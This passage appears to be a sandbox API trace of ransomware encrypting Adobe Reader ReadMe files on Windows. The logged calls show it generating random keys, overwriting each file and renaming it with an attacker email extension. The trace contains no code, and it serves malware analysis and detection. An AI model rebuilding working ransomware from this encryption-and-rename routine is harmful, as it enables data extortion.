out: Seed=0x931fe3c) returned 0x40625e96 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x20c86146 [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x5ea952a [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x5864675c [0060.682] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x69c71659 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x54d0084c [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x65dacfbd [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x182ceead [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x4a3e6b58 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x781f2afd [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x6aec499 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x71545a4c [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x68943c85 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x439d06c1 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x7605e35f [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x7070d78c [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x422fd1b3 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x18de172d [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x67e9c25e [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x2801b62f [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x33960305 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x3cb77241 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x12eaca63 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x40ca4196 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x4b126825 [0060.683] RtlRandomEx (in: Seed=0x931fe3c | out: Seed=0x931fe3c) returned 0x283a4b1e [0060.697] ReadFile (in: hFile=0xb6c, lpBuffer=0x199f0148, nNumberOfBytesToRead=0x4444, lpNumberOfBytesRead=0x931fe2c, lpOverlapped=0x0 | out: lpBuffer=0x199f0148*, lpNumberOfBytesRead=0x931fe2c*=0x4444, lpOverlapped=0x0) returned 1 [0060.698] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.698] WriteFile (in: hFile=0xb6c, lpBuffer=0x199fc950*, nNumberOfBytesToWrite=0x4444, lpNumberOfBytesWritten=0x931fe28, lpOverlapped=0x0 | out: lpBuffer=0x199fc950*, lpNumberOfBytesWritten=0x931fe28*=0x4444, lpOverlapped=0x0) returned 1 [0066.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0066.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4415f0 [0066.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415f0) returned 1 [0066.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199fc950) returned 1 [0066.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199f0148) returned 1 [0066.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a6f0) returned 1 [0066.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c8b8) returned 1 [0066.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ced50 [0066.360] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.360] WriteFile (hFile=0xb6c, lpBuffer=0x12d7cb98, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x931fe90, lpOverlapped=0x0) Thread: id = 384 os_tid = 0xce4 [0048.677] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm")) returned 0x20 [0058.635] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", dwFileAttributes=0x20) returned 1 [0058.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaec [0058.637] GetFileSizeEx (in: hFile=0xaec, lpFileSize=0x709f94c | out: lpFileSize=0x709f94c*=17176) returned 1 [0058.637] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.637] ReadFile (in: hFile=0xaec, lpBuffer=0x709f8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x709f8cc, lpOverlapped=0x0 | out: lpBuffer=0x709f8d0*, lpNumberOfBytesRead=0x709f8cc*=0x4, lpOverlapped=0x0) returned 1 [0058.639] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0058.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429570 [0058.639] NtQuerySystemTime (in: CurrentTime=0x709f8ac | out: CurrentTime=0x709f8ac*=132174898226172000) returned 0x0 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x69fb797c [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x628ed481 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x3154721d [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x797dd40b [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x6d94d853 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x7ed185bb [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x3f2b8193 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0xb580aa4 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x75ef9320 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x5d1270c7 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x5a688fae [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x413923e7 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x61c02444 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x19acc76a [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x2c28091 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x470ec36c [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0xab0dc7f [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x72e6920b [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0xee8fe52 [0058.639] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x2e6f8a6d [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x2245c5f8 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x638d49e1 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x6eaf595f [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x495905b1 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x2aca4901 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x52319bcc [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x64de217d [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x634dfce0 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x2922672f [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x349732d9 [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x239ce9ab [0058.640] RtlRandomEx (in: Seed=0x709f8b8 | out: Seed=0x709f8b8) returned 0x3788fd [0058.651] ReadFile (in: hFile=0xaec, lpBuffer=0x19527880, nNumberOfBytesToRead=0x4318, lpNumberOfBytesRead=0x709f8a8, lpOverlapped=0x0 | out: lpBuffer=0x19527880*, lpNumberOfBytesRead=0x709f8a8*=0x4318, lpOverlapped=0x0) returned 1 [0058.652] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.652] WriteFile (in: hFile=0xaec, lpBuffer=0x19534088*, nNumberOfBytesToWrite=0x4318, lpNumberOfBytesWritten=0x709f8a4, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesWritten=0x709f8a4*=0x4318, lpOverlapped=0x0) returned 1 [0061.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec95c0 [0061.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec95e8 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec95e8) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19527880) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4376e8) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0061.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4e0030 [0061.314] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.314] WriteFile (in: hFile=0xaec, lpBuffer=0x12d7cb98*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x709f90c, lpOverlapped=0x0 | out: lpBuffer=0x12d7cb98*, lpNumberOfBytesWritten=0x709f90c*=0x10b, lpOverlapped=0x0) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7cb98) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0060) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec95e8) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0030) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec95c0) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296b0) returned 1 [0062.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0062.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02660 [0062.800] wcscpy (in: _Dest=0x5e02660, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0062.800] wcscat (in: _Dest=0x5e02660, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.800] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x709f8c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.800] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d2b0 [0063.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d2b0) returned 1 [0063.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f798) returned 1 [0063.060] NtQueryInformationFile (in: FileHandle=0xaec, IoStatusBlock=0x709f8d0, FileInformation=0x709f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x709f8d0, FileInformation=0x709f8a8) returned 0x0 [0063.060] NtSetInformationFile (FileHandle=0xaec, IoStatusBlock=0x709f8d0, FileInformation=0x709f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.061] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02660) returned 1 [0063.061] FlushFileBuffers (hFile=0xaec) returned 1 [0066.201] CloseHandle (hObject=0xaec) Thread: id = 385 os_tid = 0xce8 [0048.678] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm")) returned 0x20 [0058.612] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", dwFileAttributes=0x20) returned 1 [0058.620] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf0 [0058.621] GetFileSizeEx (in: hFile=0xaf0, lpFileSize=0x99efc0c | out: lpFileSize=0x99efc0c*=18546) returned 1 [0058.621] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x486e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.621] ReadFile (in: hFile=0xaf0, lpBuffer=0x99efb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x99efb8c, lpOverlapped=0x0 | out: lpBuffer=0x99efb90*, lpNumberOfBytesRead=0x99efb8c*=0x4, lpOverlapped=0x0) returned 1 [0058.622] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429048 [0058.623] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0058.623] NtQuerySystemTime (in: CurrentTime=0x99efb6c | out: CurrentTime=0x99efb6c*=132174898226016000) returned 0x0 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x6d2decfb [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x3c71f2fa [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0xb22ca49 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x31d9fa4c [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x319da0ad [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x69e847d3 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x68dfcff5 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x37f63029 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x14d13dbe [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x207d72ee [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x5ee1e3e9 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x427f9ce7 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x2f1aed6d [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x3be4a7b4 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x2e155ad3 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x1718144f [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x3c284413 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x5c577e45 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x40f99835 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x18a16161 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x58d228a8 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x6b509900 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x48437f6 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x28b3cef6 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x124d4de7 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x5306f77c [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x63710c37 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x3621c913 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x14fe2493 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x7e2abb86 [0058.623] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x4340631b [0058.624] RtlRandomEx (in: Seed=0x99efb78 | out: Seed=0x99efb78) returned 0x2c3f42fe [0058.634] ReadFile (in: hFile=0xaf0, lpBuffer=0x95e9e28, nNumberOfBytesToRead=0x4872, lpNumberOfBytesRead=0x99efb68, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesRead=0x99efb68*=0x4872, lpOverlapped=0x0) returned 1 [0058.636] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.636] WriteFile (in: hFile=0xaf0, lpBuffer=0x95f6630*, nNumberOfBytesToWrite=0x4872, lpNumberOfBytesWritten=0x99efb64, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesWritten=0x99efb64*=0x4872, lpOverlapped=0x0) returned 1 [0061.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9570 [0061.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9598 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9598) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0061.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x4088c0 [0061.313] SetFilePointerEx (in: hFile=0xaf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.313] WriteFile (in: hFile=0xaf0, lpBuffer=0x12d7ca80*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x99efbcc, lpOverlapped=0x0 | out: lpBuffer=0x12d7ca80*, lpNumberOfBytesWritten=0x99efbcc*=0x10b, lpOverlapped=0x0) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7ca80) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0000) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9598) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9570) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0062.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0062.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e025a0 [0062.798] wcscpy (in: _Dest=0x5e025a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0062.798] wcscat (in: _Dest=0x5e025a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x99efb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40cbf0 [0063.062] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cbf0) returned 1 [0063.062] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f570) returned 1 [0063.062] NtQueryInformationFile (in: FileHandle=0xaf0, IoStatusBlock=0x99efb90, FileInformation=0x99efb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x99efb90, FileInformation=0x99efb68) returned 0x0 [0063.062] NtSetInformationFile (FileHandle=0xaf0, IoStatusBlock=0x99efb90, FileInformation=0x99efb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e025a0) returned 1 [0063.063] FlushFileBuffers (hFile=0xaf0) returned 1 [0066.209] CloseHandle (hObject=0xaf0) Thread: id = 386 os_tid = 0xcec [0048.678] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm")) returned 0x20 [0055.984] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm", dwFileAttributes=0x20) returned 1 [0058.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe94 [0058.076] GetFileSizeEx (in: hFile=0xe94, lpFileSize=0x78ffec0 | out: lpFileSize=0x78ffec0*=17335) returned 1 [0058.076] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x43b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.076] ReadFile (in: hFile=0xe94, lpBuffer=0x78ffe44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x78ffe40, lpOverlapped=0x0 | out: lpBuffer=0x78ffe44*, lpNumberOfBytesRead=0x78ffe40*=0x4, lpOverlapped=0x0) returned 1 [0058.078] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428e60 [0058.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0058.078] NtQuerySystemTime (in: CurrentTime=0x78ffe20 | out: CurrentTime=0x78ffe20*=132174898220556000) returned 0x0 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x23c705ea [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x6ac85c76 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x74bb26f1 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x415c8d24 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x7d5cb76d [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x3eca941f [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x2f248f74 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x87486ba [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x61d71678 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x5a22b604 [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x2ba7c43b [0058.078] RtlRandomEx (in: Seed=0x78ffe2c | out: Seed=0x78ffe2c) returned 0x325ddc19 [0058.078] 